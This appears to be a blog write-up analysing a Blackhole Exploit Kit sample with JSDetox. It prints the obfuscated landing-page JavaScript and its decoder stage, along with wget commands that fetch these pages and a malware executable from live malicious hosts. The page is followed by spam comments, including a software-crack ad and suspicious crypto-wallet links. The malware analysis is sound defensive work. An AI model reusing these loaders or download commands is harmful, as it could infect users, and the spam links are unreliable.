I checked http://www.malwaredomainlist.com/update.php to find a current sample. Of course you should not visit those URLs with your normal browser as they contain malware - I will not "hide" those URLs here as they are publicly documented (and seem to be taken offline by now). The same applies for the tool JSDetox, you should run it in an isolated environment.
The obfuscated iframe leading to the exploit kit sounds interesting, so lets use that one:
wget -O pho.htm "basijkarmandan.danaportal.ir/pho.htm"The downloaded file contains this:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">Paste the javascript code into the textbox in the "Code Analysis" tab and click "Execute":
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<h1><b>Please wait a moment. You will be forwarded...</h1></b>
<script>v="va"+"l";try{ebgserb++;}catch(snregrx){try{gnezrg|326}catch(ztbet){m=Math;ev=window[""+"e"+v];}ff="fromC"+"ha";if(020==0x10)ff+="rCode";n="25&&26&&121&&119&&48&&57&&116&&128&&115&&134&&125&&118&&126&&133&&62&&120&&117&&133&&85&&125&&117&&126&&117&&127&&132&&132&&82&&138&&100&&114&&119&&95&&113&&126&&117&&57&&55&&115&&127&&117&&137&&56&&57&&108&&64&&110&&57&&140&&29&&26&&25&&26&&121&&119&&130&&114&&125&&118&&130&&57&&57&&76&&29&&26&&25&&142&&48&&118&&124&&132&&117&&49&&139&&30&&25&&26&&25&&117&&127&&116&&133&&126&&117&&127&&132&&63&&135&&131&&121&&133&&117&&57&&50&&77&&121&&119&&130&&114&&125&&118&&48&&132&&130&&116&&77&&56&&120&&133&&132&&129&&74&&64&&63&&122&&127&&129&&127&&127&&117&&132&&124&&114&&124&&63&&130&&134&&74&&73&&64&&73&&64&&64&&118&&128&&130&&134&&125&&64&&124&&122&&126&&124&&131&&64&&115&&128&&124&&134&&125&&127&&62&&129&&120&&129&&55&&49&&135&&122&&116&&133&&120&&78&&55&&66&&64&&56&&48&&121&&117&&122&&119&&121&&132&&78&&55&&66&&64&&56&&48&&132&&132&&138&&124&&118&&77&&56&&134&&122&&131&&122&&114&&122&&124&&122&&132&&138&&74&&121&&121&&117&&116&&118&&126&&76&&128&&128&&131&&122&&132&&122&&127&&127&&74&&114&&114&&132&&127&&125&&133&&133&&117&&76&&124&&118&&118&&133&&74&&65&&75&&133&&127&&129&&74&&65&&75&&56&&78&&77&&63&&122&&118&&131&&113&&126&&117&&79&&50&&58&&75&&30&&25&&26&&141&&30&&25&&26&&118&&134&&126&&116&&132&&122&&127&&127&&48&&122&&118&&131&&113&&126&&117&&131&&56&&58&&139&&30&&25&&26&&25&&135&&113&&131&&48&&119&&48&&78&&48&&117&&127&&116&&133&&126&&117&&127&&132&&63&&115&&131&&117&&114&&132&&118&&85&&125&&117&&126&&117&&127&&132&&57&&55&&122&&118&&131&&113&&126&&117&&56&&57&&76&&118&&63&&131&&118&&132&&82&&132&&133&&130&&122&&114&&134&&132&&118&&56&&56&&131&&131&&115&&56&&60&&56&&120&&133&&132&&129&&74&&64&&63&&122&&127&&129&&127&&127&&117&&132&&124&&114&&124&&63&&130&&134&&74&&73&&64&&73&&64&&64&&118&&128&&130&&134&&125&&64&&124&&122&&126&&124&&131&&64&&115&&128&&124&&134&&125&&127&&62&&129&&120&&129&&55&&58&&75&&119&&62&&132&&132&&138&&124&&118&&62&&135&&121&&132&&121&&115&&121&&125&&121&&133&&137&&78&&55&&121&&121&&117&&116&&118&&126&&56&&75&&119&&62&&132&&132&&138&&124&&118&&62&&129&&127&&132&&121&&133&&121&&128&&126&&78&&55&&114&&114&&132&&127&&125&&133&&133&&117&&56&&75&&119&&62&&132&&132&&138&&124&&118&&62&&125&&117&&119&&132&&78&&55&&65&&55&&76&&118&&63&&131&&133&&137&&125&&117&&63&&132&&128&&128&&78&&55&&65&&55&&76&&118&&63&&131&&118&&132&&82&&132&&133&&130&&122&&114&&134&&132&&118&&56&&56&&135&&122&&116&&133&&120&&56&&60&&56&&65&&65&&55&&58&&75&&119&&62&&132&&117&&133&&81&&133&&132&&131&&121&&115&&133&&133&&117&&57&&55&&121&&117&&122&&119&&121&&132&&56&&60&&56&&65&&65&&55&&58&&75&&30&&25&&26&&25&&117&&127&&116&&133&&126&&117&&127&&132&&63&&119&&118&&132&&86&&124&&118&&125&&118&&126&&133&&131&&83&&137&&101&&113&&120&&94&&114&&125&&118&&56&&56&&114&&128&&116&&138&&55&&58&&107&&65&&109&&63&&113&&129&&128&&118&&126&&117&&83&&121&&121&&125&&116&&57&&118&&58&&75&&30&&25&&26&&141".split("&&");h=2;s="";if(m)for(i=0;i-605!=0;i=1+i){k=i;s+=String[ff](n[i]-(020+i%h));}if(020==0x10)ev(s);}</script>
</body>
</html>
The code tries to call "window.eval()" - click "Show Code" to see what would be executed:
Click "Send to Analyze" to view the code in the code analysis tab and click "Analyze" to see a formatted version of the code:
Downloading the content of the created iframe...
wget -O column.php "http://ioponeslal.ru:8080/forum/links/column.php?qqx=3633370907&mwafe=3307093738070736060b&gisvsv=04&zwhltu=uvlnuxbx&knl=utqwoyzf"This file contains 29kb of data and looks like this (shortened):
<html><body><script>g="getElementById";cc="concat";ss=String.fromCharCode;gg="getAttribute";function asd(){try{(alert+"fewfbw")()}catch(adgsdg){window["e"+"v"+"a"+"l"](s);}}</script><u id="google"
d0="+4442494b46)3d42142o3o$453j3l3q2c%3h443h3f44*254b463h42$433l3r3q22_161k1i1r1i&20161g3q3d&3p3h22162o!3o453j3l3q!2c3h443h3f)44161g3k3d&3q3g3o3h42$223i453q3f$443l3r3q1c(3f1g3e1g3d#1d4b423h44+45423q143i$453q3f443l_3r3q1c1d4b#3f1c3e1g3d#1d4d4d1g3l@432c3h3i3l@3q3h3g223i!453q3f443l#3r3q1c3e1d+4b423h4445!42"
[snip]
d91="43#3h1c1d234d%3f3d443f3k_1c3h1d4b4d*4442494b47&3l443k1c42%3d1l1d4b43&3k3h3o3o3h(483h3f4544^3h1c423d1o$1d234d4d3f!3d443f3k1c%3h1d4b4d4d+3f3d443f3k@1c3h1d4b4d#4d3f3d443f#3k1c3h4242!3q3r1d4b4d!3g3r3f453p$3h3q441i47_423l443h1c+1b1b1d2343$3h44303l3p&3h3r45441c%3h3q3g3b42#3h3g3l423h)3f441g1q1k)1k1k1k1d23"></u><script>
a=document[g]("google");
s="";
for(i=0;;i++){
r=a[gg]("d"[cc](i));
if(r){s=s+r;}else break;
}
a=s;
k="";
a=a.replace(/[^0-9a-z]/g,k);
s="";
for(i=0;i<a.length;i+=2){
try{gbargre-0x32}catch(sdgsdg){if(020==0x10)s+=ss(parseInt(a.substr(i,2),0x1c));}
}
asd();
</script></body></html>
The last version of the Blackhole Exploit Kit I analyzed stored the obfuscated data in the text content of HTML attributes, this version uses different attributes of one single HTML element.
To analyze this in JSDetox, copy the whole content of the file in the textbox in the "HTML Document" tab and click "Extract Scripts":
You are then taken to the "Code Analysis" tab where you can analyze the code (it is a decoding loop) or directly execute the script:
JSDetox logs that the code executed "document.getElementById" (to access the big HTML element containing the obfuscated code) and that it emulated that access with the imported HTML data. JSDetox then catches a call to "window.eval()" and makes it possible to view the code that would be executed (click "Show Code" and then "Send to Analyze").
Click "Reformat" to make the code readable. At the end of the code, we find this:
Downloading the file:
wget -O cee0c21.exe "http://ioponeslal.ru:8080/forum/links/column.php?qqx=3633370907&mwafe=3307093738070736060b&gisvsv=04&zwhltu=uvlnuxbx&knl=utqwoyzf"A check on virustotal gives a detection rate of 6/43, a few ours later it was 11/43 with some major vendors still missing it:
Posts
I recently searched for local contractors in Albany and came across a really helpful resource.It lists trusted builders and renovation companies that provide quality services for homes and businesses. If you’re trying to find reliable professionals in your area, I recommendchecking out construction near me.
ReplyDeleteThe Xnxp personality type test online offers great insights into behavior and thinking patterns. I enjoyed how it highlights strengths and growth areas. It’s definitely a valuable tool for self-awareness, relationships, and career decisions. Thanks for sharing this resource!
ReplyDeleteIf you are someone who appreciates quality meals and warm hospitality, then you’ll find plenty of reasons to enjoy good food in ontario ca at Bombay Cuisine of India. The restaurant is known for offering a welcoming environment where guests can relax and enjoy freshly prepared meals served with care. From the moment you walk in, the friendly staff make you feel comfortable, which adds to the overall dining experience. Its location near Ontario Airport makes it convenient not only for locals but also for travelers who want a reliable spot to dine. Many visitors return again and again because they know they can count on consistent service and authentic flavors. Finding good food in Ontario CA is about more than taste—it’s about the entire experience, and Bombay Cuisine of India delivers both. Truly, it is a destination worth visiting for memorable dining.
ReplyDeleteEvernote Premium Crack is stretch maintain for dispatch beautiful, organization out, assignment formation terrific, as well record. It location extreme for communicable view also stimulation in record, portrayal, and live.
ReplyDeleteEvernote Premium Crack
ReplyDeleteqbdbmgrn not running on a computer typically indicates that the QuickBooks Database Server Manager service has stopped or failed to start properly. This can prevent multi-user access to QuickBooks company files and may require restarting the service through Windows Services or reinstalling QuickBooks Database Server Manager to restore functionality.
Read More: QuickBooks Error 3371 Status Code 11118
Every bite at Bombay Cuisine of India tells a story of flavor, culture, and craftsmanship. Recognized for serving the Best Food In Ontario, CA , this restaurant at 405 N. Vineyard Ave, Ontario, CA 91764 blends authentic Indian recipes with modern dining comfort. Guests are drawn to its rich curries, freshly baked naan, and traditional tandoori dishes, all prepared with the perfect mix of spices and freshness. The vibrant yet cozy atmosphere makes it ideal for family dinners, business meals, or casual get-togethers. Beyond the food, the staff’s warm hospitality ensures an exceptional dining experience every time. Whether dining in or picking up takeout, quality remains unmatched. Located near Ontario Airport and major hotels, it’s both accessible and inviting. For reservations or orders, call 909-937-1282. Discover why Bombay Cuisine of India continues to be celebrated for offering Ontario’s most delicious and satisfying meals.
ReplyDeleteLooking for authentic Food in Ontario, CA ? Visit Bombay Restaurant Cuisine of India, located at 405 N Vineyard Ave Suite A, Ontario, CA 91764, United States. We specialize in delivering flavorful Indian dishes made from fresh ingredients and traditional spices. Enjoy a wide range of services including order online, lunch buffet, fine dining, banquet hall bookings, and catering. Whether planning a family meal, business event, or special celebration, our team provides seamless reservation options and warm hospitality. Each dish—from aromatic curries to freshly baked naan—is prepared to perfection, ensuring a rich and satisfying dining experience. For great taste and top-quality service, Bombay Restaurant Cuisine of India stands out as a leading choice for food lovers in Ontario, CA.
ReplyDeleteإعداد الإطار النظري
ReplyDeleteمتين… يعني بحث له بصمة واضحة، في إتقان نُدرك أن جودة الإطار النظري هي التي تحدد مسار البحث وثراء مناقشته وصدقية نتائجه، لذلك نعمل على تقديم محتوى علمي منسّق يشمل المفاهيم الأساسية، الدراسات السابقة، وأبرز الاتجاهات النظرية بطريقة أكاديمية دقيقة. فريقنا يضمن لك توافقًا تامًا مع معايير الجامعات وتوضيحًا لموقع بحثك بين الدراسات الأخرى، ليظهر عملك بقيمة حقيقية في مجتمع الباحثين. مع إتقان… بحثك لا يكون مجرد جزء من الأكاديميا، بل إضافة لها
This blog gives really useful insights about electronics! I appreciate the detailed comparisons—it helps a lot when deciding which device offers the best value for money.Read more info about ecobee room temperature sensor
ReplyDeleteSecure your crypto with Trezor, a trusted hardware wallet offering advanced protection, simple setup.
ReplyDeleteTrezor Bridge
Trezor.io/start
Trezor Suite App
Trezor Hardware Wallet
Exodus Web3 Wallet
Exodus Web3 Wallet
Certainly, the Restaurant to eat near me that ranks among the best to eat out at around the vicinity is Bombay Restaurant Cuisine of India, which is located at 405 N Vineyard Ave Suite A, Ontario, CA 91764, United States, and it serves great Indian food. The place offers a really nice ambiance plus a menu full of authentic recipes from the hands of the most talented chefs. The tasty Lunch Buffet is a major reason why many locals and visitors flock to the restaurant, as it provides a superb opportunity to experience a lot of different Indian dishes. The easy access to the food through our Order Online service that is also very fast is another factor that plays a big part in customer satisfaction. The auspicious occasions are made even more special in our deluxe Banquet Hall, which is nicely equipped with our dependable Catering services for both small and large gatherings. The elevated dining experience is what the people who appreciate fine food are looking for, and in this case, the Fine Dining experience is on parents' list indeed, because the chefs do their best only to give freshly prepared plated dishes made of high-quality ingredients. And the thing is that if you are in Ontario looking for restaurants to eat near me, Bombay Restaurant Cuisine of India is the perfect mixture of taste, service, and authenticity. Come and experience the enchantment of a meal that will ridiculously long be remembered with your every visit.
ReplyDeleteشركة إتقان للاستشارات الأكاديمية والتدريب هي شريكك الأمثل لتحقيق التميز الأكاديمي والمهني، نحن نوفر لك خطة بحث متميزة تلبي احتياجاتك العلمية بدقة، مع مراعاة أحدث المعايير الأكاديمية لضمان نجاحك في مشروعاتك البحثية، سواء كنت طالباً أو باحثاً، فإن خدماتنا تشمل إعداد خطة البحثبشكل متكامل لتكون دليلاً واضحاً يوجهك نحو نتائج ملموسة واحترافية.
ReplyDeleteاعتمد على إتقان للاستشارات الأكاديمية والتدريب وخطط البحث لتحويل أفكارك البحثية إلى واقع ملموس، نوفر لك خطة بحث جاهزة تتسم بالدقة والشمولية لتلبية متطلبات الجامعات والمجلات العلمية، التدريب العملي الذي نقدمه يعزز مهاراتك البحثية ويزيد من فرص نشر أعمالك، نحن نحرص على تقديم استشارات مخصصة لكل طالب وباحث وفق أعلى المعايير، مع إتقان أنت دائمًا على الطريق الصحيح نحو التميز الأكاديمي.
ReplyDeleteBombay Restaurant Cuisine of India is recognized as a leading organization offering exceptional dining in Ontario CA , with a menu inspired by India’s culinary heritage. Conveniently located at 405 N Vineyard Ave Suite: A, Ontario, CA 91764, the restaurant welcomes guests with warm service and rich flavors. Locals enjoying dining in Ontario CA appreciate our convenient Order Online option. Celebrations become memorable in our stylish Banquet Hall, while the Reservation service ensures a smooth dining experience. The diverse Lunch Buffet caters to all tastes, and our professional Catering makes events more flavorful. For elevated dining in Ontario CA, our Fine Dining atmosphere blends comfort with authenticity. Bombay Restaurant Cuisine of India continues to stand out as an organization dedicated to remarkable dining in Ontario CA.
ReplyDeleteExperienced Travel Agents in Karnataka assist travellers in exploring the state’s rich heritage, scenic landscapes, and cultural attractions with well-planned itineraries and smooth arrangements. They ensure hassle-free journeys and memorable experiences. Skyway Tour provides reliable support and expert guidance to make every Karnataka trip enjoyable, comfortable, and truly unforgettable.
ReplyDeleteNice blog, are you searching for the right way to understand how a funded account can support your trading journey, then this platform is for you. A funded account helps traders work with more capital while focusing on discipline, planning, and steady improvement. Many traders appreciate this structure because it lowers pressure and encourages smart decision-making. With clear rules and consistent effort, a funded account can guide you toward stronger performance and long-term growth in the market. For more useful updates, visit us.
ReplyDeleteGood food in Ontario, CA reaches new heights at Bombay Restaurant Cuisine of India, located at 405 N Vineyard Ave Suite A. Rich flavors, traditional recipes, and aromatic spices create dishes that define good food in Ontario CA . Guests love the convenience of Order Online and the comfort of our Fine Dining environment. The Lunch Buffet offers generous portions and variety, making it a favorite for anyone wanting good food in Ontario, CA. Bombay Restaurant Cuisine of India extends its service through Catering and a well-designed Banquet Hall perfect for gatherings. Every detail reflects our mission to deliver high-quality cuisine, warm hospitality, and a memorable dining experience for all who visit.
ReplyDeleteGood food in Ontario, CA finds its true expression at Bombay Restaurant Cuisine of India, located at 405 N Vineyard Ave Suite: A, Ontario, CA 91764, United States. The restaurant is known for authentic Indian flavors prepared with fresh ingredients and traditional spices that create memorable meals. Guests who appreciate good food in Ontario CA enjoy a welcoming atmosphere supported by attentive service and carefully crafted dishes. Convenience is always available through our Order Online service, allowing customers to enjoy their favorite meals at home or work. The restaurant offers a spacious Banquet Hall for celebrations, along with easy Reservation options for a smooth dining experience. A popular Lunch Buffet provides variety and value, while professional Catering brings authentic taste to special events. Elegant Fine Dining completes the experience, making Bombay Restaurant Cuisine of India a trusted destination for good food in Ontario, CA.
ReplyDelete